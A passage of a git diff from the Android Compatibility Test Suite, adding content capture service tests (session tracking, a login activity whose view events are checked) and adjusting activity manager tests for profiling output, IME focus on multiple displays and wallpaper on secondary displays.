+ msg.append(", parent=").append(node.getParentAutofillId());
+ }
+ Log.v(TAG, msg.toString());
+ }
+ safeRun(() -> {
+ final Session session = getExistingSession(sessionId);
+ session.mRequests.add(request);
+ });
+ }
+
+ /**
+ * Gets the finished session for the given activity.
+ *
+ * @throws IllegalStateException if the session didn't finish yet.
+ */
+ @NonNull
+ public Session getFinishedSession(@NonNull Class<? extends Activity> clazz)
+ throws InterruptedException {
+ final String className = clazz.getName();
+ final CountDownLatch latch = getUnfinishedSessionLatch(className);
+ await(latch, "session for %s not finished yet", className);
+
+ final Session session = mFinishedSessions.get(className);
+ if (session == null) {
+ throwIllegalSessionStateException("No finished session for %s", className);
+ }
+ return session;
+ }
+
+ @NonNull
+ private CountDownLatch getUnfinishedSessionLatch(final String className) {
+ final CountDownLatch latch = mUnfinishedSessionLatches.get(className);
+ if (latch == null) {
+ throwIllegalSessionStateException("no latch for %s", className);
+ }
+ return latch;
+ }
+
+ /**
+ * Asserts that no exception was thrown while the service handlded requests.
+ */
+ public static void assertNoExceptions() throws Exception {
+ if (sExceptions.isEmpty()) return;
+ if (sExceptions.size() == 1) {
+ throwException(sExceptions.get(0));
+ }
+ // TODO(b/119638958): use a MultipleExceptions class (from common)
+ throw new AssertionError("Multiple exceptions: " + sExceptions);
+ }
+
+ private void throwIllegalSessionStateException(@NonNull String fmt, @Nullable Object...args) {
+ throw new IllegalStateException(String.format(fmt, args)
+ + ". Open=" + mOpenSessions
+ + ". Latches=" + mUnfinishedSessionLatches
+ + ". Finished=" + mFinishedSessions);
+ }
+
+ private Session getExistingSession(@NonNull InteractionSessionId sessionId) {
+ final Session session = mOpenSessions.get(sessionId);
+ if (session == null) {
+ throwIllegalSessionStateException("No open session with id %s", sessionId);
+ }
+ if (session.finished) {
+ throw new IllegalStateException("session already finished: " + session);
+ }
+
+ return session;
+ }
+
+ private void safeRun(@NonNull Runnable r) {
+ try {
+ r.run();
+ } catch (Throwable t) {
+ Log.e(TAG, "Exception handling service callback: " + t);
+ sExceptions.add(t);
+ }
+ }
+
+ private static void throwException(Throwable t) throws Exception {
+ if (t instanceof Exception) {
+ throw (Exception) t;
+ }
+ if (t instanceof Error) {
+ throw (Error) t;
+ }
+ throw new Exception(t);
+ }
+
+ public final class Session {
+ public final InteractionSessionId id;
+ public final InteractionContext context;
+ private final List<ContentCaptureEventsRequest> mRequests = new ArrayList<>();
+ public boolean finished;
+
+ private Session(InteractionSessionId id, InteractionContext context) {
+ this.id = id;
+ this.context = context;
+ }
+
+ // TODO(b/119638958): currently we're only interested on all events, but eventually we
+ // should track individual requests as well to make sure they're probably batch (it will
+ // require adding a Settings to tune the buffer parameters.
+ public List<ContentCaptureEvent> getEvents() {
+ final List<ContentCaptureEvent> events = new ArrayList<>();
+ for (ContentCaptureEventsRequest request : mRequests) {
+ events.addAll(request.getEvents());
+ }
+ return Collections.unmodifiableList(events);
+ }
+
+ @Override
+ public String toString() {
+ return "[id=" + id + ", context=" + context + ", requests=" + mRequests.size()
+ + ", finished=" + finished + "]";
+ }
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
new file mode 100644
index 0000000..1b886c4
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/Helper.java
@@ -0,0 +1,86 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static com.android.compatibility.common.util.SystemUtil.runShellCommand;
+
+import android.os.SystemClock;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+import androidx.annotation.Nullable;
+
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper for common funcionalities.
+ */
+final class Helper {
+
+ public static final String TAG = "ContentCaptureTest";
+
+ public static final long GENERIC_TIMEOUT_MS = 2000;
+
+ public static final String MY_PACKAGE = "android.contentcaptureservice.cts";
+
+ public static final long MY_EPOCH = SystemClock.uptimeMillis();
+
+ /**
+ * Awaits for a latch to be counted down.
+ */
+ public static void await(@NonNull CountDownLatch latch, @NonNull String fmt,
+ @Nullable Object... args)
+ throws InterruptedException {
+ final boolean called = latch.await(GENERIC_TIMEOUT_MS, TimeUnit.MILLISECONDS);
+ if (!called) {
+ throw new IllegalStateException(String.format(fmt, args)
+ + " in " + GENERIC_TIMEOUT_MS + "ms");
+ }
+ }
+
+ /**
+ * Sets the content capture service.
+ */
+ public static void setService(@NonNull String service) {
+ Log.d(TAG, "Setting service to " + service);
+ // TODO(b/119638958): use @TestingAPI for max duration constant
+ runShellCommand("cmd content_capture set temporary-service 0 " + service + " 12000");
+ // TODO(b/119638958): add a more robust mechanism to wait for service to be set.
+ // For example, when the service is set using a shell cmd, block until the
+ // IntelligencePerUserService is cached (or use a @TestingApi instead of shell cmd)
+ SystemClock.sleep(GENERIC_TIMEOUT_MS);
+ }
+
+ /**
+ * Resets the content capture service.
+ */
+ public static void resetService() {
+ Log.d(TAG, "Resetting back to default service");
+ runShellCommand("cmd content_capture set temporary-service 0");
+ }
+
+ /**
+ * Sets {@link CtsSmartSuggestionsService} as the service for the current user.
+ */
+ public static void enableService() {
+ setService(CtsSmartSuggestionsService.SERVICE_NAME);
+ }
+
+ private Helper() {
+ throw new UnsupportedOperationException("contain static methods only");
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
new file mode 100644
index 0000000..4991e2b
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivity.java
@@ -0,0 +1,42 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import android.os.Bundle;
+import android.widget.EditText;
+import android.widget.LinearLayout;
+import android.widget.TextView;
+
+public class LoginActivity extends AbstractContentCaptureActivity {
+
+ LinearLayout mRootView;
+ TextView mUsernameLabel;
+ EditText mUsername;
+ TextView mPasswordLabel;
+ EditText mPassword;
+
+ @Override
+ protected void onCreate(Bundle savedInstanceState) {
+ super.onCreate(savedInstanceState);
+ setContentView(R.layout.login_activity);
+
+ mRootView = findViewById(R.id.root_view);
+ mUsernameLabel = findViewById(R.id.username_label);
+ mUsername = findViewById(R.id.username);
+ mPasswordLabel = findViewById(R.id.password_label);
+ mPassword = findViewById(R.id.password);
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
new file mode 100644
index 0000000..b0c1267
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/LoginActivityTest.java
@@ -0,0 +1,122 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts;
+
+import static android.contentcaptureservice.cts.Assertions.assertLifecycleEvent;
+import static android.contentcaptureservice.cts.Assertions.assertRightActivity;
+import static android.contentcaptureservice.cts.Assertions.assertViewAppeared;
+import static android.contentcaptureservice.cts.Assertions.assertViewDisappeared;
+import static android.contentcaptureservice.cts.Helper.TAG;
+import static android.contentcaptureservice.cts.Helper.enableService;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.DESTROYED;
+import static android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityLifecycle.RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_PAUSED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_RESUMED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STARTED;
+import static android.view.contentcapture.ContentCaptureEvent.TYPE_ACTIVITY_STOPPED;
+
+import static com.google.common.truth.Truth.assertThat;
+
+import android.contentcaptureservice.cts.CtsSmartSuggestionsService.Session;
+import android.contentcaptureservice.cts.common.ActivitiesWatcher.ActivityWatcher;
+import android.support.test.rule.ActivityTestRule;
+import android.util.Log;
+import android.view.View;
+import android.view.autofill.AutofillId;
+import android.view.contentcapture.ContentCaptureEvent;
+
+import org.junit.Test;
+
+import java.util.List;
+
+public class LoginActivityTest extends AbstractContentCaptureIntegrationTest<LoginActivity> {
+
+ private static final ActivityTestRule<LoginActivity> sActivityRule = new ActivityTestRule<>(
+ LoginActivity.class, false, false);
+
+ public LoginActivityTest() {
+ super(LoginActivity.class);
+ }
+
+ @Override
+ protected ActivityTestRule<LoginActivity> getActivityTestRule() {
+ return sActivityRule;
+ }
+
+ // TODO(b/119638958): rename once we add moar tests
+ @Test
+ public void testIt() throws Exception {
+ enableService();
+
+ // TODO(b/119638958): move to super class
+ final ActivityWatcher watcher = mActivitiesWatcher.watch(LoginActivity.class);
+
+ final LoginActivity activity = launchActivity();
+ watcher.waitFor(RESUMED);
+
+ activity.finish();
+ watcher.waitFor(DESTROYED);
+
+ final CtsSmartSuggestionsService service = CtsSmartSuggestionsService.getInstance();
+ try {
+ final Session session = service.getFinishedSession(LoginActivity.class);
+
+ assertRightActivity(session, activity);
+
+ final List<ContentCaptureEvent> events = session.getEvents();
+ Log.v(TAG, "events: " + events);
+ // TODO(b/119638958): ideally it should be 14 so it reflects just the views defined
+ // in the layout - right now it's generating events for 2 intermediate parents
+ // (android:action_mode_bar_stub and android:content), we should try to create an
+ // activity without them
+
+ final AutofillId rootId = activity.mRootView.getAutofillId();
+
+ assertThat(events).hasSize(18);
+ assertLifecycleEvent(events.get(0), TYPE_ACTIVITY_STARTED);
+ assertLifecycleEvent(events.get(1), TYPE_ACTIVITY_RESUMED);
+ assertViewAppeared(events.get(2), activity.mUsernameLabel, rootId);
+ assertViewAppeared(events.get(3), activity.mUsername, rootId);
+ assertViewAppeared(events.get(4), activity.mPasswordLabel, rootId);
+ assertViewAppeared(events.get(5), activity.mPassword, rootId);
+ // TODO(b/119638958): get rid of those intermediated parents
+ final View grandpa1 = (View) activity.mRootView.getParent();
+ final View grandpa2 = (View) grandpa1.getParent();
+ final View decorView = (View) grandpa2.getParent();
+
+ assertViewAppeared(events.get(6), activity.mRootView, grandpa1.getAutofillId());
+ assertViewAppeared(events.get(7), grandpa1, grandpa2.getAutofillId());
+ assertViewAppeared(events.get(8), grandpa2, decorView.getAutofillId());
+
+ // TODO(b/119638958): VIEW_DISAPPEARED events should be send before the activity
+ // stopped - if we don't deprecate the latter, we should change the manager to make sure
+ // they're send in that order (or dropped)
+ assertLifecycleEvent(events.get(9), TYPE_ACTIVITY_PAUSED);
+ assertLifecycleEvent(events.get(10), TYPE_ACTIVITY_STOPPED);
+
+ assertViewDisappeared(events.get(11), grandpa2.getAutofillId());
+ assertViewDisappeared(events.get(12), grandpa1.getAutofillId());
+ assertViewDisappeared(events.get(13), activity.mRootView.getAutofillId());
+ assertViewDisappeared(events.get(14), activity.mUsernameLabel.getAutofillId());
+ assertViewDisappeared(events.get(15), activity.mUsername.getAutofillId());
+ assertViewDisappeared(events.get(16), activity.mPasswordLabel.getAutofillId());
+ assertViewDisappeared(events.get(17), activity.mPassword.getAutofillId());
+ } finally {
+ // TODO(b/119638958): move to @Rule SafeCleaner
+ CtsSmartSuggestionsService.assertNoExceptions();
+ }
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/ActivitiesWatcher.java b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/ActivitiesWatcher.java
new file mode 100644
index 0000000..79d625a
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/ActivitiesWatcher.java
@@ -0,0 +1,181 @@
+/*
+ * Copyright (C) 2018 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ * http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.contentcaptureservice.cts.common;
+
+import android.app.Activity;
+import android.app.Application.ActivityLifecycleCallbacks;
+import android.os.Bundle;
+import android.util.ArrayMap;
+import android.util.Log;
+
+import androidx.annotation.NonNull;
+
+import java.util.Map;
+import java.util.concurrent.CountDownLatch;
+import java.util.concurrent.TimeUnit;
+
+/**
+ * Helper object used to watch for activities lifecycle events.
+ *
+ * <p><b>NOTE:</b> currently it's limited to:
+ *
+ * <ul>
+ * <li>Just RESUMED and DESTROYED events.
+ * <li>Just one occurrence of each event.
+ * </ul>
+ *
+ * <p>These limitations will be fixed as needed (A.K.A. K.I.S.S. :-)
+ */
+public final class ActivitiesWatcher implements ActivityLifecycleCallbacks {
+
+ private static final String TAG = ActivitiesWatcher.class.getSimpleName();
+
+ private final Map<String, ActivityWatcher> mWatchers = new ArrayMap<>();
+ private final long mTimeoutMs;
+
+ /**
+ * Default constructor.
+ *
+ * @param timeoutMs how long to wait for given lifecycle event before timing out.
+ */
+ public ActivitiesWatcher(long timeoutMs) {
+ mTimeoutMs = timeoutMs;
+ }
+
+ @Override
+ public void onActivityCreated(Activity activity, Bundle savedInstanceState) {
+ Log.v(TAG, "onActivityCreated(): " + activity);
+ }
+
+ @Override
+ public void onActivityStarted(Activity activity) {
+ Log.v(TAG, "onActivityStarted(): " + activity);
+ }
+
+ @Override
+ public void onActivityResumed(Activity activity) {
+ Log.v(TAG, "onActivityResumed(): " + activity);
+ notifyWatcher(activity, ActivityLifecycle.RESUMED);
+ }
+
+ @Override
+ public void onActivityPaused(Activity activity) {
+ Log.v(TAG, "onActivityPaused(): " + activity);
+ }
+
+ @Override
+ public void onActivityStopped(Activity activity) {
+ Log.v(TAG, "onActivityStopped(): " + activity);
+ }
+
+ @Override
+ public void onActivitySaveInstanceState(Activity activity, Bundle outState) {
+ Log.v(TAG, "onActivitySaveInstanceState(): " + activity);
+ }
+
+ @Override
+ public void onActivityDestroyed(Activity activity) {
+ Log.v(TAG, "onActivityDestroyed(): " + activity);
+ notifyWatcher(activity, ActivityLifecycle.DESTROYED);
+ }
+
+ /**
+ * Gets a watcher for the given activity.
+ *
+ * @throws IllegalStateException if already registered.
+ */
+ public ActivityWatcher watch(@NonNull Class<? extends Activity> clazz) {
+ return watch(clazz.getName());
+ }
+
+ /**
+ * Gets a watcher for the given activity.
+ *
+ * @throws IllegalStateException if already registered.
+ */
+ public ActivityWatcher watch(@NonNull String className) {
+ if (mWatchers.containsKey(className)) {
+ throw new IllegalStateException("Already watching " + className);
+ }
+ Log.d(TAG, "Registering watcher for " + className);
+ final ActivityWatcher watcher = new ActivityWatcher(mTimeoutMs);
+ mWatchers.put(className, watcher);
+ return watcher;
+ }
+
+ private void notifyWatcher(@NonNull Activity activity, @NonNull ActivityLifecycle lifecycle) {
+ final String className = activity.getComponentName().getClassName();
+ final ActivityWatcher watcher = mWatchers.get(className);
+ if (watcher != null) {
+ Log.d(TAG, "notifying watcher of " + className + " of " + lifecycle);
+ watcher.notify(lifecycle);
+ } else {
+ Log.v(TAG, lifecycle + ": no watcher for " + className);
+ }
+ }
+
+ /**
+ * Object used to watch for acitivity lifecycle events.
+ *
+ * <p><b>NOTE: </b>currently it only supports one occurrence for each event.
+ */
+ public static final class ActivityWatcher {
+ private final CountDownLatch mResumedLatch = new CountDownLatch(1);
+ private final CountDownLatch mDestroyedLatch = new CountDownLatch(1);
+ private final long mTimeoutMs;
+
+ private ActivityWatcher(long timeoutMs) {
+ mTimeoutMs = timeoutMs;
+ }
+
+ /**
+ * Blocks until the given lifecycle event happens.
+ *
+ * @throws IllegalStateException if it times out while waiting.
+ * @throws InterruptedException if interrupted while waiting.
+ */
+ public void waitFor(@NonNull ActivityLifecycle lifecycle) throws InterruptedException {
+ final CountDownLatch latch = getLatch(lifecycle);
+ final boolean called = latch.await(mTimeoutMs, TimeUnit.MILLISECONDS);
+ if (!called) {
+ throw new IllegalStateException(lifecycle + " not called in " + mTimeoutMs + " ms");
+ }
+ }
+
+ private CountDownLatch getLatch(@NonNull ActivityLifecycle lifecycle) {
+ switch (lifecycle) {
+ case RESUMED:
+ return mResumedLatch;
+ case DESTROYED:
+ return mDestroyedLatch;
+ default:
+ throw new IllegalArgumentException("unsupported lifecycle: " + lifecycle);
+ }
+ }
+
+ private void notify(@NonNull ActivityLifecycle lifecycle) {
+ getLatch(lifecycle).countDown();
+ }
+ }
+
+ /**
+ * Supported activity lifecycle.
+ */
+ public enum ActivityLifecycle {
+ RESUMED,
+ DESTROYED
+ }
+}
diff --git a/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/README.txt b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/README.txt
new file mode 100644
index 0000000..2cdbf75
--- /dev/null
+++ b/tests/contentcaptureservice/src/android/contentcaptureservice/cts/common/README.txt
@@ -0,0 +1,2 @@
+This package contains utilities that are not tied to Content Capture and might eventually move to
+a common CTS package.
\ No newline at end of file
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
index b56cda1..1719efd 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerActivityVisibilityTests.java
@@ -26,7 +26,6 @@
import static android.server.am.ActivityManagerState.STATE_PAUSED;
import static android.server.am.ActivityManagerState.STATE_RESUMED;
import static android.server.am.ActivityManagerState.STATE_STOPPED;
-import static android.server.am.ComponentNameUtils.getActivityName;
import static android.server.am.Components.ALT_LAUNCHING_ACTIVITY;
import static android.server.am.Components.ALWAYS_FOCUSABLE_PIP_ACTIVITY;
import static android.server.am.Components.BROADCAST_RECEIVER_ACTIVITY;
@@ -442,6 +441,10 @@
assertSingleLaunch(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, logSeparator);
lockScreenSession.sleepDevice();
+ // We should make sure test activity stopped to prevent a false alarm stop state
+ // included when separateLogs() called.
+ waitAndAssertActivityState(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, STATE_STOPPED,
+ "Activity should be stopped");
logSeparator = separateLogs();
launchActivity(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY);
mAmWmState.assertVisibility(TURN_SCREEN_ON_SINGLE_TASK_ACTIVITY, true);
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
index eb6e62c..74f4546 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerAmProfileTests.java
@@ -26,14 +26,9 @@
import static org.junit.Assert.assertTrue;
import android.content.ComponentName;
-import android.support.test.InstrumentationRegistry;
-import org.junit.Before;
import org.junit.Test;
-import java.io.File;
-import java.io.FileInputStream;
-
/**
* Build/Install/Run:
* atest CtsActivityManagerDeviceTestCases:ActivityManagerAmProfileTests
@@ -46,17 +41,6 @@
private static final String FIRST_WORD_NO_STREAMING = "*version\n";
private static final String FIRST_WORD_STREAMING = "SLOW"; // Magic word set by runtime.
- private String mReadableFilePath = null;
-
- @Before
- @Override
- public void setUp() throws Exception {
- super.setUp();
- mReadableFilePath = InstrumentationRegistry.getContext()
- .getExternalFilesDir(null)
- .getPath() + "/profile.trace";
- }
-
/**
* Test am profile functionality with the following 3 configurable options:
* starting the activity before start profiling? yes;
@@ -161,28 +145,17 @@
private void verifyOutputFileFormat(final boolean streaming) throws Exception {
// This is a hack. The am service has to write to /data/local/tmp because it doesn't have
- // access to the sdcard but the test app can't read there
- executeShellCommand("mv " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
+ // access to the sdcard. The test cannot read from /data/local/tmp. This allows us to
+ // scan the content to validate what is needed for this test.
+ final String firstLine = executeShellCommand("head -1 " + OUTPUT_FILE_PATH);
final String expectedFirstWord = streaming ? FIRST_WORD_STREAMING : FIRST_WORD_NO_STREAMING;
- final byte[] data = readFile(mReadableFilePath);
- assertThat("data size", data.length, greaterThanOrEqualTo(expectedFirstWord.length()));
- final String actualFirstWord = new String(data, 0, expectedFirstWord.length());
+ assertThat(
+ "data size", firstLine.length(), greaterThanOrEqualTo(expectedFirstWord.length()));
+ final String actualFirstWord = firstLine.substring(0, expectedFirstWord.length());
assertEquals("Unexpected first word", expectedFirstWord, actualFirstWord);
// Clean up.
- executeShellCommand("rm -f " + OUTPUT_FILE_PATH + " " + mReadableFilePath);
- }
-
- private static byte[] readFile(String clientPath) throws Exception {
- final File file = new File(clientPath);
- assertTrue("File not found on client: " + clientPath, file.isFile());
- final int size = (int) file.length();
- final byte[] bytes = new byte[size];
- try (final FileInputStream fis = new FileInputStream(file)) {
- final int readSize = fis.read(bytes, 0, bytes.length);
- assertEquals("Read all data", bytes.length, readSize);
- return bytes;
- }
+ executeShellCommand("rm -f " + OUTPUT_FILE_PATH);
}
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
index 1411886..4a78f48 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/ActivityManagerMultiDisplayTests.java
@@ -59,6 +59,7 @@
import static android.server.am.second.Components.SECOND_NO_EMBEDDING_ACTIVITY;
import static android.server.am.third.Components.THIRD_ACTIVITY;
import static android.view.Display.DEFAULT_DISPLAY;
+import static android.view.WindowManager.LayoutParams.TYPE_WALLPAPER;
import static com.android.cts.mockime.ImeEventStreamTestUtils.expectEvent;
import static com.android.cts.mockime.ImeEventStreamTestUtils.editorMatcher;
@@ -70,6 +71,7 @@
import static org.junit.Assert.assertNull;
import static org.junit.Assert.assertTrue;
import static org.junit.Assert.fail;
+import static org.junit.Assume.assumeNotNull;
import static org.junit.Assume.assumeTrue;
import android.app.Activity;
@@ -134,7 +136,6 @@
* Tests launching an activity on virtual display.
*/
@Test
- @FlakyTest(bugId = 77270929)
public void testLaunchActivityOnSecondaryDisplay() throws Exception {
validateActivityLaunchOnNewDisplay(ACTIVITY_TYPE_STANDARD);
}
@@ -1956,6 +1957,8 @@
imeTestActivitySession.runOnMainSyncAndWait(
imeTestActivitySession.getActivity()::showSoftInput);
waitOrderedImeEventsThenAssertImeShown(stream, newDisplay.mId,
+ editorMatcher("onStartInput",
+ imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
event -> "showSoftInput".equals(event.getEventName()));
// Assert the configuration of the IME window is the same as the configuration of the
@@ -1970,6 +1973,8 @@
imeTestActivitySession2.runOnMainSyncAndWait(
imeTestActivitySession2.getActivity()::showSoftInput);
waitOrderedImeEventsThenAssertImeShown(stream, DEFAULT_DISPLAY,
+ editorMatcher("onStartInput",
+ imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
event -> "showSoftInput".equals(event.getEventName()));
// Assert the configuration of the IME window is the same as the configuration of the
@@ -2039,12 +2044,8 @@
imeTestActivitySession.launchTestActivityOnDisplaySync(ImeTestActivity.class,
display1.mId);
- imeTestActivitySession.getActivity().mEditText.setPrivateImeOptions(
- ImeTestActivity.class.getName());
imeTestActivitySession2.launchTestActivityOnDisplaySync(ImeTestActivity2.class,
display2.mId);
- imeTestActivitySession2.getActivity().mEditText.setPrivateImeOptions(
- ImeTestActivity2.class.getName());
final ImeEventStream stream = mockImeSession1.openEventStream();
// Tap display1 as top focused display & request focus on EditText to show soft input.
@@ -2053,7 +2054,8 @@
imeTestActivitySession.runOnMainSyncAndWait(
imeTestActivitySession.getActivity()::showSoftInput);
waitOrderedImeEventsThenAssertImeShown(stream, display1.mId,
- editorMatcher("onStartInput", ImeTestActivity.class.getName()),
+ editorMatcher("onStartInput",
+ imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
event -> "showSoftInput".equals(event.getEventName()));
// Tap display2 as top focused display & request focus on EditText to show soft input.
@@ -2062,7 +2064,8 @@
imeTestActivitySession2.runOnMainSyncAndWait(
imeTestActivitySession2.getActivity()::showSoftInput);
waitOrderedImeEventsThenAssertImeShown(stream, display2.mId,
- editorMatcher("onStartInput", ImeTestActivity2.class.getName()),
+ editorMatcher("onStartInput",
+ imeTestActivitySession2.getActivity().mEditText.getPrivateImeOptions()),
event -> "showSoftInput".equals(event.getEventName()));
// Tap display1 again to make sure the IME window will come back.
@@ -2071,7 +2074,8 @@
imeTestActivitySession.runOnMainSyncAndWait(
imeTestActivitySession.getActivity()::showSoftInput);
waitOrderedImeEventsThenAssertImeShown(stream, display1.mId,
- editorMatcher("onStartInput", ImeTestActivity.class.getName()),
+ editorMatcher("onStartInput",
+ imeTestActivitySession.getActivity().mEditText.getPrivateImeOptions()),
event -> "showSoftInput".equals(event.getEventName()));
}
}
@@ -2129,6 +2133,43 @@
}
/**
+ * Tests that wallpaper shows on secondary displays.
+ */
+ @Test
+ public void testWallpaperShowOnSecondaryDisplays() throws Exception {
+ mAmWmState.computeState(true);
+ final WindowManagerState.WindowState wallpaper =
+ mAmWmState.getWmState().findFirstWindowWithType(TYPE_WALLPAPER);
+ // Skip if there is no wallpaper.
+ assumeNotNull(wallpaper);
+ try (final VirtualDisplaySession virtualDisplaySession = new VirtualDisplaySession()) {
+ final ActivityDisplay noDecorDisplay = virtualDisplaySession.setPublicDisplay(true)
+ .setShowSystemDecorations(false).createDisplay();
+ // Tests when the system decor flag is included in that display, the wallpaper must
+ // be displayed on the secondary display. And at the same time we do not need to wait
+ // for the wallpaper which should not to be displayed.
+ final ActivityDisplay decorDisplay = virtualDisplaySession.setPublicDisplay(true)
+ .setShowSystemDecorations(true).createDisplay();
+ mAmWmState.waitForWithWmState((state) -> isWallpaperOnDisplay(state, decorDisplay.mId),
+ "Waiting for wallpaper window to show");
+ assertTrue("Wallpaper must be displayed on secondary display with system decor flag",
+ isWallpaperOnDisplay(mAmWmState.getWmState(), decorDisplay.mId));
+
+ assertFalse("Wallpaper must not be displayed on the display without system decor flag",
+ isWallpaperOnDisplay(mAmWmState.getWmState(), noDecorDisplay.mId));
+ }
+ }
+
+ private boolean isWallpaperOnDisplay(WindowManagerState windowManagerState, int displayId) {
+ List<WindowManagerState.WindowState> states =
+ windowManagerState.getMatchingWindowType(TYPE_WALLPAPER);
+ for (WindowManagerState.WindowState ws : states) {
+ if (ws.getDisplayId() == displayId) return true;
+ }
+ return false;
+ }
+
+ /**
* Test that the IME should be shown in default display when target display does not support
* system decoration.
*/
@@ -2399,15 +2440,18 @@
protected void onCreate(Bundle icicle) {
super.onCreate(icicle);
mEditText = new EditText(this);
+ // Set private IME option for editorMatcher to identify which TextView received
+ // onStartInput event.
+ mEditText.setPrivateImeOptions(
+ getClass().getName() + "/" + Long.toString(SystemClock.elapsedRealtimeNanos()));
final LinearLayout layout = new LinearLayout(this);
layout.setOrientation(LinearLayout.VERTICAL);
layout.addView(mEditText);
+ mEditText.requestFocus();
setContentView(layout);
}
void showSoftInput() {
- mEditText.setFocusable(true);
- mEditText.requestFocus();
getSystemService(InputMethodManager.class).showSoftInput(mEditText, 0);
}
}
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
index 5483700..d90464c 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
+++ b/tests/framework/base/activitymanager/src/android/server/am/AnimationBackgroundTests.java
@@ -27,6 +27,7 @@
import static org.junit.Assume.assumeFalse;
import android.content.ComponentName;
+import android.platform.test.annotations.Presubmit;
import android.server.am.WindowManagerState.Display;
import org.junit.Test;
@@ -35,6 +36,7 @@
* Build/Install/Run:
* atest CtsActivityManagerDeviceTestCases:AnimationBackgroundTests
*/
+@Presubmit
public class AnimationBackgroundTests extends ActivityManagerTestBase {
@Test
diff --git a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java b/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
index 0cb300a..808d06d 100644
--- a/tests/framework/base/activitymanager/src/android/server/am/AspectRatioTests.java
